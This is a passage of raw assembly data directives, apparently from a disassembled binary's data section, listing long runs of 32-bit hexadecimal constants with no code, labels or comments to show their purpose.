dd 3D02C5EBh, 1BD1BAB8h, 0F10A6E6Fh, 74EFD327h, 73A77814h
dd 7DD12E38h, 0FDE078BCh, 0CA7380ABh, 27FE9Ah, 0CF28C5FBh
dd 6A54DAEDh, 0CA4EB759h, 298D6BEBh, 74011E6Dh, 904B624Dh
dd 382E5B12h, 0FFF85125h, 6D66464Fh, 63069049h, 0D7390A96h
dd 940784B7h, 1CB63AB6h, 98A60E46h, 0AA03CD37h, 0C412259Ch
dd 0FED23BC7h, 4AB05A44h, 0F0B2CA5Bh, 0E90F3C90h, 0A4711E93h
dd 4EA6D120h, 0E83E25A2h, 0A0B418D4h, 0D1553E42h, 46909358h
dd 0B7F97C98h, 0DEF29635h, 8343A42Bh, 98395A4h, 0FD9B2FADh
dd 2F7A96F4h, 461241C2h, 0CD0B71C1h, 487C1F82h, 0DFD65218h
dd 38F0D444h, 380E5AB7h, 4EDCF8ACh, 0C7ED9A59h, 223D3535h
dd 6089D8ACh, 5C80967Fh, 7E946E32h, 1DFF4F12h, 85C66524h
dd 5D377AABh, 5F2F1A90h, 56B2B7FDh, 2F288080h, 5593A3B0h
dd 72C3C4A5h, 46432C6Ah, 5A37B9ECh, 72886792h, 6B7B901Dh
dd 3F8DCD99h, 2EFFAE40h, 0B216A7F9h, 0A5F43834h, 27DAE48Eh
dd 59A060D1h, 0D1CA7FE8h, 0A836A8A7h, 661A2F1h, 0A6BA70E0h
dd 0C5CDA913h, 73AAFBD4h, 8144B5E1h, 46848C10h, 6038E24Ah
dd 5FFB2EB3h, 8E45208Ch, 9EDB8E25h, 2C583953h, 2B45FDE8h
dd 0EB2B0607h, 0ED8D479Eh, 30E17443h, 954CE49Dh, 90304C5Bh
dd 0E44D449Bh, 0D1C9AE54h, 9C1E882Bh, 7129728Dh, 0AA8CBBA7h
dd 0D64F5AFFh, 33A233C2h, 0CF842C2Eh, 2A4BC6BAh, 0D26FD415h
dd 5E80000Dh, 673953F1h, 82C49F7h, 25258323h, 8C64499Ah
dd 9280AC67h, 0D74E8474h, 592CB9B2h, 0E62B4B2Eh, 5ECA1340h
dd 398384h, 6C71D9E0h, 7F0AAA94h, 61C7D6AAh, 3750A26Ah
dd 6FC8BB90h, 2AB2F01Fh, 0E8962D2Fh, 213EFB71h, 0F6686AC3h
dd 0F6115AF4h, 0E68C33E4h, 7CE9F032h, 0F022A8FAh, 4272C2CEh
dd 0D0F4E20Eh, 0B4EF6FB1h, 0F383B14Dh, 89F23B38h, 6B2EB3A0h
dd 46E78085h, 2B8486D4h, 0D0E4BFAFh, 0B9F8459Bh, 30D46767h
dd 6776F5EEh, 3E5E76B5h, 4DDC1389h, 684AFCBBh, 0AFD6A70h
dd 0D401BEB8h, 6FCF25BEh, 0CA17DF87h, 7FB078BBh, 0EAC781CAh
dd 0FEC85379h, 0BA09999h, 6E022CC8h, 0B57A7A6Fh, 0EA9999B1h
dd 89544182h, 63DAB2D6h, 2D755B81h, 5BC1ED7Ch, 238E864Dh
dd 0DF2BDF93h, 8BB5275Ch, 0B7DB0BF6h, 0AC15B237h, 0E183ECE0h
dd 71DB457h, 950DD938h, 490C612Ch, 151C5004h, 0F6449C09h
dd 22CC6481h, 19617837h, 0B251797h, 0A89B6EB8h, 6431F948h
dd 45261ABDh, 0F20826Eh, 6C87B188h, 0EBE8621Fh, 7621782Eh
dd 66034B97h, 317AB3ADh, 22C75113h, 0C655D1C3h, 932ED3B5h
dd 0A9D8591Ah, 0B5EF8580h, 8C48982Eh, 0E0808777h, 0ACC85AAFh
dd 1AF1D1E7h, 0F154978Ch, 85ACB03h, 4F815BC0h, 9665F090h
dd 0A8BBDE7Ch, 857F870Dh, 4C3E5F5Ch, 860FD6FAh, 7A1CAE18h
dd 2C7A44E4h, 9A904126h, 483B8895h, 490337C1h, 4952CE5Eh
dd 0EB5D7827h, 0C1F76CAFh, 7406A159h, 432C0CA9h, 0C6F859AAh
dd 0A9FE128Ah, 4F1D656Bh, 1F24BC3Ah, 246CB745h, 34FBCFABh
dd 54F086C9h, 66E76A49h, 6004F98Ah, 4B225856h, 0C8FC25C4h
dd 2F6535F4h, 578A1C66h, 36CCFB6Fh, 0BFEDA87Ch, 51FAB7D9h
dd 0DF71DC37h, 0FACC5739h, 70B08F11h, 0E877DF90h, 8E713C17h
dd 8FD01904h, 0EA91E3E1h, 82C0C4D7h, 9D54586h, 10FE2FE5h
dd 24CEC35Fh, 0EF09A15Dh, 4A9E188Eh, 34659209h, 3F5CFB57h
dd 4E1B66E5h, 931D344h, 0F74A32C9h, 0EDB187B9h, 0F37EF54Ah
dd 0F662842h, 0B69A6BABh, 68C30E53h, 2FF408D5h, 0E8C8FD30h
dd 0BC266008h, 4722542Eh, 82865874h, 0E82335EAh, 0E9F21FCEh
dd 52E3E052h, 0F6AE248Dh, 74887322h, 0C1AFB983h, 0EF553D7Eh
dd 9A367E16h, 7D0F32AEh, 0C8ACD829h, 244E8F8Eh, 149EF55h
dd 0DAB97CFh, 7D267107h, 9A9305B1h, 4430AA11h, 0A5BC3D3Fh
dd 901D0A14h, 5F5BB822h, 4366E9EFh, 0F58B1AA8h, 5B292F55h
dd 0AD83CB20h, 0BB8C2262h, 0BF9D831Fh, 58B9C4C2h, 2D2F8156h
dd 2D629507h, 0C2774B9Ch, 3D63AF3Ah, 357F5ECBh, 0A101063Dh
dd 5533ACA0h, 0D9D83D66h, 0AF677A77h, 1D67E35Eh, 8993808Bh
dd 5775325Dh, 0E1B3DAFCh, 0C002BB10h, 0D2449717h, 64688015h
dd 0CAC4C5EFh, 7338DCD1h, 0E3B8B995h, 11AD789Eh, 73BFBD2Bh
dd 0C11117C2h, 1F0595F9h, 98C419DAh, 0E2ED15DDh, 773E9CA3h
dd 0CE77BACh, 76751DE5h, 96676F80h, 666857D1h, 0A24E0D55h
dd 3AD4F3B6h, 0EFC77223h, 5EEE58F8h, 0DF807D79h, 0C6755090h
dd 64051DFh, 6A28C8EAh, 0E06D149Ah, 0CEA797E1h, 0CED12F64h
dd 0E0052202h, 0FD06D4BFh, 4DAA15Fh, 6D9B553Ch, 937F5ECFh
dd 2BACF29Dh, 569621Eh, 773E9C63h, 4E94E329h, 341089DAh
dd 3F2E161Dh, 3B6410B3h, 0FC58EC49h, 15BE7C83h, 46D08F8Eh
dd 0CBE4DA8Dh, 0D6C78509h, 0BE611AAAh, 7DB0A189h, 0C97BE3DAh
dd 52E04BAEh, 797325BBh, 0E4AB9E0Ch, 0C4BB54E0h, 0DF9BEF46h
dd 9219D074h, 7AAE7F9Dh, 8A151FA3h, 5CC2B3A3h, 0AB575525h
dd 84D02AC5h, 0BC00FD9Dh, 0EB9DC1E9h, 2AC8F958h, 0DB563937h
dd 0DE9A2E0Eh, 0F8C5E95Dh, 73D34FEBh, 0A661E22Dh, 0F9063157h
dd 10B1491Bh, 6AF6DE49h, 25E24AF9h, 13EC29h, 0CB536498h
dd 0F32A33D9h, 3B55258Ch, 4A8222B8h, 0D2630D68h, 0EBFD29FBh
dd 0A4407EDCh, 0F9646790h, 0A8C35784h, 439EA9D3h, 0D9199963h
dd 52E2CC20h, 99186FF5h, 5700AF43h, 64180AEAh, 0E0922707h
dd 718C3F49h, 0E3F10C43h, 0F5B32AE4h, 923255C0h, 2908854Ah
dd 1BBEEB55h, 377AD5BFh, 0DFD67CC4h, 343EECE7h, 138975EAh
dd 293E80B9h, 0AE8FD735h, 80838049h, 0F6AFB653h, 139BF2AFh
dd 278E2B5Fh, 0D2D14274h, 0CAC19A13h, 0D6EA81F7h, 2DE784C1h
dd 1A481ECBh, 9EF66F1Dh, 598A016Ch, 5E64DF86h, 19B6BA0Dh
dd 5076DE41h, 0EA3B70Ah, 6AB09C0Dh, 81E69D07h, 24FFB49h
dd 0B120B861h, 0AB841A25h
dd 848D74A3h, 0AF2180DBh, 2D564A1Fh, 29F31A59h, 8B5FE925h
dd 7C898D85h, 0D6A62D85h, 0BBC39837h, 0F5611FF0h, 0E192E12Eh
dd 0E9A85887h, 0A638733Ah, 0BC2279E7h, 0F73B3B0h, 7F713B4Dh
dd 4E78727Eh, 0B582C976h, 54862FBDh, 28B92CBCh, 0AACF88A2h
dd 0C6EACD2Ch, 60EF67FAh, 34DA8DD9h, 3F45B4E4h, 0C59F1971h
dd 56A031Bh, 0BCF0259Ch, 0E73B9F05h, 15D56207h, 0A91081CEh
dd 71038DF2h, 0FE2A1225h, 0AF155FDEh, 41AA4AC1h, 0E370ED5Fh
dd 353B44BDh, 0B9F1D50Eh, 0B64FEDA5h, 8EC22644h, 41CC15D4h
dd 71A9B372h, 0F625329Dh, 7B3881E7h, 0FD69103Bh, 0A5D317DDh
dd 447942FFh, 45EF0DBAh, 202C1434h, 84B11547h, 6C38BE71h
dd 102D4894h, 63DEA99Fh, 0F406C0DCh, 8D3C78D8h, 29667386h
dd 7367E233h, 0C82EBD2h, 72617610h, 0A0204304h, 22C8DA2h
dd 5F2A5F3Fh, 1B12578Bh, 0E652185Eh, 28970821h, 80E01F51h
dd 0EC4DE577h, 95E2D4Ch, 0C57E7FBEh, 6D4C9A62h, 8153FA9Eh
dd 0CBA357D5h, 678CDDF8h, 8DC66E7Ah, 0DBD6D71Dh, 0CBEADFF1h
dd 4469715h, 0ABAAE1E9h, 414334AAh, 8C620D15h, 1338E54Dh
dd 79407749h, 0B7302FEDh, 0AE8F3AF0h, 5694316h, 0B39B1E3Bh
dd 1491F5C9h, 0A0D2929Bh, 0D514A13Ah, 0F24AC6ABh, 0F6A16F02h
dd 0E00A1C1Dh, 265DBE34h, 70E27DF0h, 300097B1h, 20FCF28Fh
dd 199CA437h, 0EFCA84A7h, 0A0439C97h, 0D27AA60Eh, 23E91319h
dd 5FC4ACFCh, 1C7106AAh, 825F45CFh, 0FDCFB6B7h, 8DA68A14h
dd 62069F10h, 0C671A4F2h, 8D724Ch, 343D4117h, 6C13BEC5h
dd 403BDF2Eh, 66C54B6Ch, 0F92D8273h, 577A23C9h, 0C9185CB7h
dd 0FDB643BEh, 0E19D18C2h, 664B302Dh, 1ABA483Bh, 9D7F0715h
dd 7E9430E8h, 0D566EA3Ah, 5840AD77h, 0D11BA592h, 0C01B5525h
dd 27D3D562h, 169CE0C1h, 93FB3766h, 7865B761h, 45C46B5Ch
dd 0A42830F6h, 52C52BECh, 1C0ED587h, 1B6065CFh, 0A8A52728h
dd 0AFF0262Fh, 0A4468C35h, 7132D5ABh, 0D56865F1h, 89FC5102h
dd 0F98B960Ah, 27EC9CB3h, 0C97935D3h, 73052BF9h, 2336A3E6h
dd 678A9DBAh, 6F62EC0Ah, 0AF046988h, 3F047733h, 0F10A1995h
dd 195E6F8Bh, 7B3118E8h, 0F203A0DCh, 0A90D6E67h, 6ACEF157h
dd 514788F4h, 0E1972FF4h, 6F282E83h, 3611583Fh, 0C9702524h
dd 25D408Fh, 34691F73h, 0D821F2DDh, 0F8DDBFF9h, 42986542h
dd 9F85F3F3h, 2B0FBCD2h, 2907015Ch, 0BDCF92A4h, 0A675B13h
dd 4D5B8188h, 0C2A55D91h, 0E3F91C61h, 1926F883h, 6A4129B9h
dd 0AAE851C6h, 9480D7B3h, 4D7E8B3Ah, 7E1C4C24h, 6615451Bh
dd 3EDB6F68h, 80C0A5A2h, 43A1F560h, 14D6D8Dh, 646D4433h
dd 5CAD85CAh, 5674D742h, 9A6EC883h, 2AF11BCAh, 6E6AF4A0h
dd 0CF58BE07h, 0CB0F3F82h, 0BEBF8468h, 232B6037h, 7117469h
dd 0E71E7830h, 0AAAAA5CAh, 78C3682Eh, 0B18C65DDh, 8C4F98C0h
dd 1BB89C75h, 4DB7289Ah, 3BCF57B4h, 0B6B68355h, 0C2DF4145h
dd 964B277Eh, 0CE4653F7h, 8871BA84h, 520E2C18h, 0BEC80459h
dd 4B878390h, 0E82B8370h, 0C8461F8Fh, 0A4287716h, 50476C8Ah
dd 994BCCCFh, 0E60758FFh, 9D03C9D1h, 1763365Ah, 0F48E1234h
dd 988B2749h, 7560DF88h, 4A5AC0CFh, 42864D8Dh, 85592C74h
dd 81D2A2D9h, 365865A4h, 15090216h, 0DD857C4Fh, 178E5AE3h
dd 0FAE48211h, 0A3D22662h, 447F688Ch, 9C09A223h, 58EA9362h
dd 0F1CFE543h, 76C393C5h, 0F564C4CEh, 43FE3348h, 0E2E77C27h
dd 6BD45C79h, 2779EF7Ah, 8DE4C5C0h, 0E98F320Dh, 8136595Eh
dd 192122Dh, 4261492h, 0D0A263D6h, 0C6DC58C6h, 746C13BEh
dd 8A6238FBh, 0AE10A170h, 3D0866CBh, 68CFBDE5h, 0E070B66Dh
dd 24AF790Ch, 0B6A84FEFh, 0E0D93B14h, 5617A643h, 6281046Eh
dd 86D4BD5Dh, 76098B20h, 0E9E38BBDh, 0B471C46h, 80EACA1Ah
dd 42D08889h, 943F7EEh, 5B9E380h, 5ECC1875h, 266189Ch
dd 4B9CBCEh, 837F5FBFh, 5614E6FCh, 7D4D6A84h, 0C3C9EE4Eh
dd 63E56203h, 58DF35BEh, 0C277EAB3h, 0C88665DCh, 0B0456D5Fh
dd 0DA7F94BDh, 0B9DA0257h, 0BCC75AE1h, 0A074ED5Ah, 462F6CF5h
dd 0BD8A339h, 1C4981Ch, 1BCB98EDh, 0A0B8D2C2h, 8CDF6A2Ch
dd 0B8228ADBh, 57C3BC8Dh, 8ED18F21h, 0CA3F2DB3h, 0F2954579h
dd 0FCA33A0Dh, 853776F9h, 0A7C27293h, 9CDF7EC0h, 6EBFB7CCh
dd 0E5081BAAh, 4A15F32h, 522B964h, 847EA78Ah, 96F889EAh
dd 0ED427826h, 48D663B1h, 33C96943h, 6DCA6Bh, 0F944E11Fh
dd 109BE62Ch, 4FF4C6B4h, 3BBF253Fh, 45184935h, 7A483CEAh
dd 6919D2CCh, 0FB620BB7h, 36A4DCD6h, 0E6F526A5h, 5E7EA4BDh
dd 8974AE9Dh, 7D6661Fh, 8E6B9AF7h, 0B9DECF45h, 0F4800AFAh
dd 114F9B4h, 20CD7D5Ah, 962948Fh, 1282D312h, 791A551Dh
dd 442C72F7h, 6C746641h, 0B8A78951h, 7AD4CB8Bh, 1D99D413h
dd 767FCBCAh, 0D9F28CD9h, 0E38F394Eh, 35D549D1h, 4498FD0Fh
dd 0BBEEEC0Bh, 0B81E11F3h, 65311C31h, 14894304h, 384780FCh
dd 0F738DC52h, 0DC8DB1D3h, 16E76755h, 60A325B6h, 3B667B6h
dd 0D1F2D427h, 1B30753Bh, 0F25A0C0Ch, 0B75AE809h, 0F215140Bh
dd 3D32CE78h, 21A3D489h, 0E8D521F7h, 7286F682h, 0CCA7308Fh
dd 299A708h, 74566AF9h, 0B4D676E3h, 0ADB4A09Ch, 0EC20F8BBh
dd 9F7C32A1h, 0AF824A93h, 623CF3CBh, 0C314EE05h, 3BE2AAB4h
dd 31C289F4h, 628B1D20h, 89FDE327h, 5F21E4BAh, 0E9498D83h
dd 65BC06E1h, 0AB3BF12Eh, 0A5A3907Eh, 1803D4F1h, 9E0D51F6h
dd 46B8082Ch, 0ED12DA45h, 736E51FCh, 875348B9h, 80D11BBCh
dd 55753C53h, 681B09Ch, 0D137061Ch, 2331C2BEh, 88852722h
dd 0F8EC957Fh, 751E24Ch, 25E818Eh, 0FEF5E0D8h, 9D4795C2h
dd 19AA59Eh, 7E0300FDh, 852824B8h, 459048FDh, 0A646C229h
dd 0FD951358h, 0D65E773h, 3B36A334h, 0BD548817h, 9DD778Dh
dd 883DFF45h, 5CCD9A3Dh, 0CFACDA01h, 3867472Bh, 0CBEF00EDh
dd 2DAF81Dh, 0E58E2474h, 9E1F6437h, 0C292A497h, 4ADA2715h
dd 90FAAB2Fh, 6CD4603Dh, 0A3406496h, 8F811883h, 60CB7056h
dd 21C4EFD6h, 5B2E3DFBh, 50624427h, 4D0C7529h, 0E325F725h
dd 9CF844F2h, 12A69471h, 0B136AF38h, 0E349D08Ch, 6BF194D3h
dd 8763852Eh, 0A291AC1h, 8FE860CEh, 0B53F10A0h, 4A914E14h
dd 0C1D63AD4h, 3DD17D71h, 9085C903h, 0B109DAF5h, 11C17E53h
dd 88893B3Dh, 370CF2AEh, 0B5AEEC09h, 0EC994A22h, 4E27BD87h
dd 0C423B9Ch, 0F561D358h, 520AB672h, 5FAF3020h, 0F7387314h
dd 68BE452Ch, 8C00849Ch, 6B488E9Dh, 9083684Ah, 1A93896h
dd 0C89D33Dh, 0F745B3F6h, 4D521367h, 94119EB2h, 0A2F9520Bh
dd 0D064D418h, 0B61305Eh, 0A2CC6E1Eh, 6569683h, 26774D4Ch
dd 949DC8C3h, 7736B4C3h, 29506146h, 0FA1A9449h, 0A07516Fh
dd 0C11DE1ABh, 86A55045h, 726ECA6h, 0B041BAFAh, 0FD9A5639h
dd 7492E1F8h, 3CDB255Ch, 0AE8E1525h, 0D03B09F9h, 7D64991Dh
dd 0F6B4B112h, 0FEAA54A8h, 7F55442Eh, 86CE8F4Ah, 0F56302B0h
dd 9C2DFC7Eh, 2AABE072h, 0F2525C4h, 0D33C9C16h, 14150F25h
dd 354E02AFh, 95748959h, 5ACE05EAh, 0FF0B88F4h, 2CE18F45h
dd 2BF49031h, 0CB36601Eh, 8432D2C7h, 0EF053A24h, 0E50DE001h
dd 0F34BDC2Bh, 984F9919h, 8F918061h, 2C29517Dh, 89D90F93h
dd 0C765D671h, 5845FD2Eh, 0A9479ECBh, 0A13282Dh, 38A4AC7Ch
dd 61356C4Bh, 8E7CF2C6h
dd 0E5C4D95Dh, 6B4A016h, 0E1EEFEDBh, 23AF7283h, 3EE8212Fh
dd 5B42047Ch, 0D217C5C0h, 3167473Fh, 717E5552h, 262018CFh
dd 0D81081A0h, 2CBAC1FEh, 0F9A55BC6h, 0CF01BF7Ch, 0E5B057Ch
dd 0F185B501h, 0DE9F1B93h, 0BDDF8E57h, 9838FD02h, 8DCCD5h
dd 14E46999h, 7EC5F8C1h, 0F15349D0h, 0DA661166h, 0E16C055h
dd 0ED526B5Ah, 2F9BA86Ah, 0BC52E53Fh, 82590CDCh, 0A46B59A2h
dd 48F6B20Ah, 0C0747999h, 0E35E0639h, 23C10F2Eh, 68CA3E32h
dd 0B8F774EEh, 4AB2A3E9h, 8F89EF1Bh, 6E6B4837h, 0C36F8907h
dd 78099C9Bh, 138C6769h, 0DAFF2F0Eh, 74611D49h, 257491C7h
dd 819CFA77h, 0FE7A4510h, 0ABCC35FEh, 8CAC6105h, 0FD54D3DDh
dd 0EF24C43h, 843D030Bh, 0FF712991h, 0A56D3E47h, 0C2BE54AEh
dd 69820C5Fh, 1621DD12h, 8987F92Ah, 0A966597Eh, 1E891538h
dd 0F784F128h, 0B0748E56h, 6490D0E3h, 1CDF7F9Dh, 23E03417h
dd 0ED81182Eh, 0C6922188h, 0CA7A7E2Ah, 0A0E51A7Eh, 12897927h
dd 5164CD5h, 74939B71h, 9360E139h, 9ADDE96Ch, 5483DABh
dd 5613CA2Ah, 0AB22F587h, 0DE0414BCh, 67C89F53h, 1ECD041h
dd 0A69D9F48h, 61DFC22Ah, 2D2EAEE0h, 0B94DA066h, 8661B494h
dd 0D20D13F1h, 9C8C0F62h, 0DC3EA3BBh, 0A40B87AEh, 61FE2E7Eh
dd 0AEF4BE15h, 0D2FEE9B4h, 4FEEA058h, 776853EBh, 0AC02F9A0h
dd 0A243D27Eh, 9EF1FA34h, 0DD9B31FCh, 75673307h, 923EEAEEh
dd 0A5CC7F7Bh, 0F5979D2h, 82B439A2h, 663B3249h, 55483DA2h
dd 59E8BFF9h, 0A3E38F44h, 0A91ED38h, 9A240D0h, 7DD4574Eh
dd 150DC73Dh, 1C89F069h, 0E57E33Eh, 653565F7h, 0FF66286Dh
dd 3305CD7Ch, 89DCA8EBh, 68ACE680h, 5610B8F1h, 7BA7B63Ch
dd 0FA8890Eh, 5B309AC8h, 6D642D8Eh, 1EC9B844h, 0D19C7982h
dd 7EEB3221h, 2D673495h, 6E29BA26h, 40D57D4Fh, 0F6E41A54h
dd 780C34CDh, 4D93C4A0h, 0A857FAF2h, 0F1EF9CAAh, 0E6D2BF4Dh
dd 403DDF0Eh, 1189FEE2h, 0D4F8BD5Ah, 6E6D2F7Fh, 0A27DDA70h
dd 39C097E0h, 0A37DC00Ah, 4CE28F67h, 2385F869h, 1381F1Dh
dd 12167DBDh, 0A5134F02h, 0B183305Bh, 359F6993h, 7A6AD6EFh
dd 96890CDDh, 94976719h, 204AA42Eh, 0F79F011h, 0B47308EFh
dd 0F27DEE3Bh, 18FC5F8h, 0AEB312D8h, 0BEE555A5h, 80420B5Bh
dd 0AC1492C9h, 9848209Bh, 71AEDCB2h, 87C23BEDh, 0EDDCDDE1h
dd 4A5370E2h, 0E970E34Fh, 23532660h, 506DA175h, 9DD253C9h
dd 0B264B805h, 8141C1FAh, 9468D824h, 7F7B4399h, 769279F1h
dd 4C5C174Bh, 5D81E13Eh, 84BD037Ah, 93626708h, 0FD445D87h
dd 593655C8h, 4BC6D314h, 0E2C6FAD5h, 0F31D06Ah, 0D2E02456h
dd 0B4879B2Ah, 351D7A99h, 0B8967B4Dh, 29C6D965h, 61764584h
dd 4C3744C7h, 2E42D7CCh, 0B785F061h, 90F65205h, 2536D4C5h
dd 6A3D493Ch, 0B38DD4D8h, 0E7B09176h, 0FB794025h, 5A436395h
dd 20ABECFh, 0A863795Dh, 0F39745C1h, 7F394C07h, 6A34D3FBh
dd 27D82006h, 5131AA04h, 660AEF5Bh, 60F75E62h, 34D568ABh
dd 5D4B3D90h, 0ABA41771h, 7977CCAAh, 98820FFh, 16FED797h
dd 0BE20ED9Bh, 0D4AC1AA3h, 0F0A0D15Bh, 723A8A4Ah, 36DCE502h
dd 2A3A232Eh, 0A520C3Ch, 23F11C2Eh, 9209AC23h, 0C03B8359h
dd 7557377Eh, 9A6A5408h, 47A9A5A4h, 7CE0C73Eh, 34D7C595h
dd 0DE8CABDEh, 0AB8AE681h, 0DFD87C61h, 62CC4009h, 0B844030Dh
dd 0EE297848h, 2B0056A7h, 7365206Fh, 5C8C8699h, 0E4E945EEh
dd 3268AE2Fh, 0D84F0403h, 0B7BAA4C8h, 0FD5E3CFEh, 50CC548Eh
dd 1FFD79DAh, 834495FFh, 969D90F4h, 5425C594h, 465A14A7h
dd 75E709EEh, 90DE3737h, 0CC03AAF0h, 6295752Dh, 6BD3C1A8h
dd 29ABDA2Dh, 0F75D8FAFh, 360E624Dh, 0C6817107h, 7996A845h
dd 7C070102h, 426717Ch, 0F1A12FF5h, 0DAAA14D8h, 0EBA4CEA9h
dd 0BA834F77h, 0E9C10EDBh, 0E9476018h, 0FE9ACF43h, 435FF7B5h
dd 0C52E1352h, 136FBD5Bh, 0CFC98B18h, 0A7483A20h, 0E7F9BDF6h
dd 0C8B1205Eh, 0CE7C3A31h, 5D8111h, 641E5C84h, 7B7A6C21h
dd 0CA0D692Fh, 471387ADh, 8ADD5703h, 0A7C49B87h, 0BB738BC0h
dd 0B91A936h, 16A68590h, 665EF741h, 54BCA8EFh, 55988DDBh
dd 9269CFD6h, 0B8704273h, 0B94E3992h, 263B83C7h, 0A9B11D3h
dd 0E10372C2h, 0FE25D985h, 45E6461Eh, 8AD774Ah, 0EF14BDA9h
dd 0ECBEC797h, 0DE02AAABh, 0FE7A3651h, 266E916Bh, 1CF8089Ch
dd 0F8772B52h, 2846EBCEh, 0B70F5159h, 9BE165D4h, 0CF353F20h
dd 54B23D56h, 0DA590BC8h, 0AC70849Ah, 0D672DC6Eh, 6B29CED7h
dd 0DDEE2C2Eh, 0C5CF4208h, 435C6FDBh, 59F53CF4h, 0C028D773h
dd 0DE5112F8h, 0E4F43FDAh, 451601B3h, 56C38C26h, 9605A809h
dd 0DF51D0C8h, 0FCFB2071h, 95CB2C1Bh, 116E5A8Ch, 457C5C76h
dd 6438A1BDh, 3F5BE111h, 0B3A232CAh, 0AD7F14Bh, 6C2FB665h
dd 89C1B7E9h, 0E07A08A6h, 8FAB50F9h, 0ECAD61AAh, 9F396B9Fh
dd 0D05D42A5h, 2B307294h, 0F7141417h, 54E0592Eh, 0D28AD416h
dd 0CFCAE600h, 8365ACFAh, 0DD3F04D0h, 0F0DB26E4h, 13B4BD20h
dd 3484599Dh, 0D64A6908h, 19C0B8F4h, 0C671D2D4h, 54A5D27h
dd 46328767h, 0D0D78438h, 569ADF6Bh, 0DA9F1D78h, 0F1F5A433h
dd 0BF358BB3h, 9C3AB7CDh, 0DDD6563Ah, 72E759A5h, 0DFF8742Ah
dd 1E9D6F63h, 47F16D17h, 0B92E03D0h, 9B93D88Eh, 1E4B9C59h
dd 9309D185h, 0FCCCE10Ah, 81AE30ADh, 925BF4A8h, 481B8335h
dd 3E7D25Ah, 0B2101C0Dh, 0AF0C9465h, 0E55738Dh, 85B919DEh
dd 5C98BFFh, 634C8AB4h, 97B791Ch, 241EE323h, 0F6240245h
dd 0BEC7DCB5h, 86E492A5h, 8238C047h, 20DCEEC9h, 0C49A52ECh
dd 78FC1BDAh, 21CDBE05h, 6D861D67h, 0C24B30B3h, 3A4D3A11h
dd 1F29B5F1h, 0D05AED3Ah, 0F4DFEDFCh, 82547D39h, 0E50F3E8Fh
dd 288336C6h, 8434EDCEh, 10FB3D6Dh, 2B5E97A1h, 0DD54758Ah
dd 63EB4677h, 6221BA7Ch, 0D42BB9h, 0E268A881h, 5FE9C501h
dd 79F28C48h, 0D8DC413Dh, 6992CCBDh, 3003599Ah, 93315A6Fh
dd 24BF1FF5h, 7C83FA76h, 8E2C82B8h, 61A035C6h, 1BA4E649h
dd 3184BFEh, 8DC245B1h, 0ACC346F7h, 0C5631190h, 0C4C27D12h
dd 0D3C19D91h, 56D6FA4Dh, 59B3EE0Ch, 0A619479Eh, 0F741508Ch
dd 6E8B7E12h, 52CF95Ch, 63397FC7h, 20F9CA4Dh, 43003736h
dd 8CF713EEh, 0B5DD7359h, 84FB350Ah, 0FE72A8A3h, 6B30A49Bh
dd 58D327DFh, 0A580C597h, 21EDCD31h, 7E238F39h, 1A3383Ch
dd 0C4FB7ED6h, 0D941EB7h, 6495F060h, 0D7E53C4Eh, 18C5EDCAh
dd 0B9A73FDDh, 0D9D0F327h, 41ACD9CBh, 8E37C4ABh, 87227911h
dd 791EFBFFh, 13DC144Bh, 0DF3A4F89h, 92F6FAA6h, 2247C6A6h
dd 0FC5EBE22h, 50B9F6F8h, 8C56070Fh, 5E903F92h, 3DC72A4Ah
dd 0DEEF9C1Dh, 0C3981754h, 552DDC47h, 87B08F33h, 1EE68F45h
dd 0FF63666Ch, 0AA997482h, 0A218C76h, 0AF259B60h, 86B5F55Bh
dd 0E6F9EB4h, 4D43ADB3h, 0B5289AF2h, 9AF6D4C7h, 713272FBh
dd 42061CAh, 0BDB1CA2Fh, 29CF8E72h, 36DB702Ch, 0B12C9768h
dd 48B33F3Eh, 659E55E7h, 9CD2D3A4h, 56343181h, 0C961E844h
dd 459CCA24h, 0FCD05BBBh, 71029CC7h, 0D5AC15C8h, 8497C15Ah
dd 17E1E995h, 92F2228h, 0D2591304h, 5C541A24h, 0D7C6E302h
dd 43866AACh, 0CDD9660Dh, 13AB887Ah, 0A0CCB415h, 0A18A1EDCh
dd 6CE7E0CAh, 1DAE6C48h, 0D0F498E3h, 754ABE21h, 45AA3B31h
dd 3EB060AAh, 4498FD1Eh
dd 0CFA233EBh, 6BE04146h, 0AA25B1D3h, 28872869h, 0A0A46BEFh
dd 7DA38837h, 9558B5A5h, 0E183FD3Ah, 3BB6128Dh, 0C39568F6h
dd 3F8354F3h, 0F6B00414h, 74A27126h, 2F2CB2DDh, 3CBC5BA8h
dd 24A62CC8h, 8EC03079h, 0D80377EDh, 34DA6477h, 61B3C888h
dd 0DB769781h, 0BB5BD96Bh, 0DFDEC121h, 0E3DA6915h, 9604C7E8h
dd 2E6CE7B3h, 0D7A1874Fh, 0F6BCC14Fh, 97C325A2h, 0F684CB44h
dd 5CA390CCh, 620D2368h, 70C2271Eh, 6E11EF93h, 31076F74h
dd 0C13E3F0h, 70B12DF8h, 8D9C3F23h, 0E9F47D1Ch, 0C5FBC5E6h
dd 161A122h, 137112D2h, 0EDD5EBF8h, 0D85909F8h, 0EF68274h
dd 59390F83h, 0FB4C7F84h, 0CCA6A092h, 8566DCDBh, 20747027h
dd 90BA475Ah, 37BEAE74h, 49C2FEE6h, 39742BCBh, 0AE159F50h
dd 6AA8C9C0h, 10436B27h, 26A57629h, 0AE9D560Ah, 6839586Bh
dd 0CAA6F575h, 6E34525Eh, 81BD774Ch, 0B4ECCBD6h, 673A53C6h
dd 6299E17h, 96F0EEB5h, 71A568D1h, 823D493Dh, 23312C2Fh
dd 7C12406Ah, 8E0C547h, 7EA6D967h, 75DBB76Ah, 0A9FA3F78h
dd 3179015Ch, 0D4C1E46Fh, 3598B397h, 780BB7D1h, 5C01AFE6h
dd 998A6065h, 7B846FFBh, 0C02C1D41h, 4A9A4CB4h, 93C6B554h
dd 76C44E6Fh, 0EAC45F4Eh, 0E82FBDD8h, 672FAF00h, 0D6A21579h
dd 0EC33B2F1h, 0F95F197Bh, 58B7401Fh, 68BC8EA9h, 0B8279D09h
dd 9C85A629h, 0ED289407h, 2F1A9B88h, 0C91B0E3Ch, 0B37B87C0h
dd 0B70A6EC4h, 4A36A0Bh, 976AFF93h, 40B59435h, 0C4349BCAh
dd 0E3C974ADh, 77EFD3DFh, 5BA3C438h, 32002268h, 4BFF6FABh
dd 53D6B320h, 5CB7FB83h, 22AB1509h, 5AF0F000h, 7E9291D5h
dd 15C47C50h, 0F0DF3BFEh, 8A3A3EF4h, 4C260539h, 7CAFD5A0h
dd 0BE6A9FACh, 0EA0790AFh, 0ED5911D5h, 0BD5C61AAh, 0F1D89D82h
